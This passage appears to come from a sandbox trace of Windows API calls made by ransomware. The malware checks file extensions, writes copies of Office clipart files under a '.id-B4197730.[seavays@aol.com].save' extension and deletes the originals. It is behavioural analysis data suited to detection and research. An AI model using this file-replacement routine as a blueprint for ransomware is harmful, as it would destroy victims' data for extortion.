(lpString=".zip") returned 4 [0169.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.462] lstrlenW (lpString=".rar") returned 4 [0169.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".bz2") returned 4 [0169.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".7z") returned 3 [0169.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.463] lstrlenW (lpString=".dbf") returned 4 [0169.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.463] lstrlenW (lpString=".1cd") returned 4 [0169.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.463] lstrlenW (lpString=".jpg") returned 4 [0169.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.463] lstrlenW (lpString=".doc") returned 4 [0169.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".docx") returned 5 [0169.463] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.463] lstrlenW (lpString=".pdf") returned 4 [0169.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".xls") returned 4 [0169.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.463] lstrlenW (lpString=".xlsx") returned 5 [0169.463] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.463] lstrlenW (lpString=".ppt") returned 4 [0169.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.464] lstrlenW (lpString=".zip") returned 4 [0169.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.464] lstrlenW (lpString=".rar") returned 4 [0169.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.464] lstrlenW (lpString=".bz2") returned 4 [0169.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.464] lstrlenW (lpString=".7z") returned 3 [0169.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.464] lstrlenW (lpString=".dbf") returned 4 [0169.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.464] lstrlenW (lpString=".1cd") returned 4 [0169.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0169.464] lstrlenW (lpString=".jpg") returned 4 [0169.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.464] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.464] lstrlenW (lpString="J0105348.WMF") returned 12 [0169.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.466] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=17060) returned 1 [0169.466] CloseHandle (hObject=0x528) returned 1 [0169.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0169.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.467] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.467] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.468] GetLastError () returned 0x0 [0169.469] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x42a4, lpOverlapped=0x0) returned 1 [0169.471] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x42b0, lpOverlapped=0x0) returned 1 [0169.472] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0169.473] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0169.473] SetEndOfFile (hFile=0x518) returned 1 [0169.473] CloseHandle (hObject=0x518) returned 1 [0169.473] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.473] SetEndOfFile (hFile=0x528) returned 1 [0169.477] CloseHandle (hObject=0x528) returned 1 [0169.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.479] lstrlenW (lpString=".doc") returned 4 [0169.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.479] lstrlenW (lpString=".docx") returned 5 [0169.479] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.479] lstrlenW (lpString=".pdf") returned 4 [0169.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.479] lstrlenW (lpString=".xls") returned 4 [0169.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.479] lstrlenW (lpString=".xlsx") returned 5 [0169.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.479] lstrlenW (lpString=".ppt") returned 4 [0169.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.479] lstrlenW (lpString=".zip") returned 4 [0169.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.479] lstrlenW (lpString=".rar") returned 4 [0169.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.479] lstrlenW (lpString=".bz2") returned 4 [0169.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.479] lstrlenW (lpString=".7z") returned 3 [0169.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.479] lstrlenW (lpString=".dbf") returned 4 [0169.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.480] lstrlenW (lpString=".1cd") returned 4 [0169.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.480] lstrlenW (lpString=".jpg") returned 4 [0169.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.480] lstrlenW (lpString=".doc") returned 4 [0169.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString=".docx") returned 5 [0169.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.480] lstrlenW (lpString=".pdf") returned 4 [0169.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString=".xls") returned 4 [0169.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.480] lstrlenW (lpString=".xlsx") returned 5 [0169.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.480] lstrlenW (lpString=".ppt") returned 4 [0169.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.480] lstrlenW (lpString=".zip") returned 4 [0169.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.480] lstrlenW (lpString=".rar") returned 4 [0169.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.480] lstrlenW (lpString=".bz2") returned 4 [0169.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.481] lstrlenW (lpString=".7z") returned 3 [0169.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.481] lstrlenW (lpString=".dbf") returned 4 [0169.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.481] lstrlenW (lpString=".1cd") returned 4 [0169.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0169.481] lstrlenW (lpString=".jpg") returned 4 [0169.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.481] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.481] lstrlenW (lpString="J0105360.WMF") returned 12 [0169.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.482] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8860) returned 1 [0169.482] CloseHandle (hObject=0x528) returned 1 [0169.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0169.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.483] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.484] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.484] GetLastError () returned 0x0 [0169.485] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x229c, lpOverlapped=0x0) returned 1 [0169.721] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x22a0, lpOverlapped=0x0) returned 1 [0169.839] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0169.839] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0169.839] SetEndOfFile (hFile=0x518) returned 1 [0169.840] CloseHandle (hObject=0x518) returned 1 [0169.840] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.840] SetEndOfFile (hFile=0x528) returned 1 [0169.843] CloseHandle (hObject=0x528) returned 1 [0169.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0169.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.845] lstrlenW (lpString=".doc") returned 4 [0169.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.845] lstrlenW (lpString=".docx") returned 5 [0169.845] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.845] lstrlenW (lpString=".pdf") returned 4 [0169.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.845] lstrlenW (lpString=".xls") returned 4 [0169.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.845] lstrlenW (lpString=".xlsx") returned 5 [0169.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.846] lstrlenW (lpString=".ppt") returned 4 [0169.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString=".zip") returned 4 [0169.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.846] lstrlenW (lpString=".rar") returned 4 [0169.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString=".bz2") returned 4 [0169.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString=".7z") returned 3 [0169.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString=".dbf") returned 4 [0169.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString=".1cd") returned 4 [0169.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString=".jpg") returned 4 [0169.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.846] lstrlenW (lpString=".doc") returned 4 [0169.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.846] lstrlenW (lpString=".docx") returned 5 [0169.846] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.847] lstrlenW (lpString=".pdf") returned 4 [0169.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString=".xls") returned 4 [0169.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.847] lstrlenW (lpString=".xlsx") returned 5 [0169.847] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.847] lstrlenW (lpString=".ppt") returned 4 [0169.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.847] lstrlenW (lpString=".zip") returned 4 [0169.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.847] lstrlenW (lpString=".rar") returned 4 [0169.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString=".bz2") returned 4 [0169.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString=".7z") returned 3 [0169.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.847] lstrlenW (lpString=".dbf") returned 4 [0169.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.847] lstrlenW (lpString=".1cd") returned 4 [0169.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0169.847] lstrlenW (lpString=".jpg") returned 4 [0169.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.848] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.848] lstrlenW (lpString="J0105388.WMF") returned 12 [0169.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.849] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8252) returned 1 [0169.850] CloseHandle (hObject=0x528) returned 1 [0169.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0169.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.850] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.850] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.852] GetLastError () returned 0x0 [0169.852] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x203c, lpOverlapped=0x0) returned 1 [0169.854] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2040, lpOverlapped=0x0) returned 1 [0169.855] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0169.856] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0169.856] SetEndOfFile (hFile=0x518) returned 1 [0169.856] CloseHandle (hObject=0x518) returned 1 [0169.856] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.856] SetEndOfFile (hFile=0x528) returned 1 [0169.859] CloseHandle (hObject=0x528) returned 1 [0169.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.861] lstrlenW (lpString=".doc") returned 4 [0169.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.861] lstrlenW (lpString=".docx") returned 5 [0169.861] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.861] lstrlenW (lpString=".pdf") returned 4 [0169.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString=".xls") returned 4 [0169.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.862] lstrlenW (lpString=".xlsx") returned 5 [0169.862] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.862] lstrlenW (lpString=".ppt") returned 4 [0169.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.862] lstrlenW (lpString=".zip") returned 4 [0169.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.862] lstrlenW (lpString=".rar") returned 4 [0169.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString=".bz2") returned 4 [0169.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString=".7z") returned 3 [0169.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.862] lstrlenW (lpString=".dbf") returned 4 [0169.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.862] lstrlenW (lpString=".1cd") 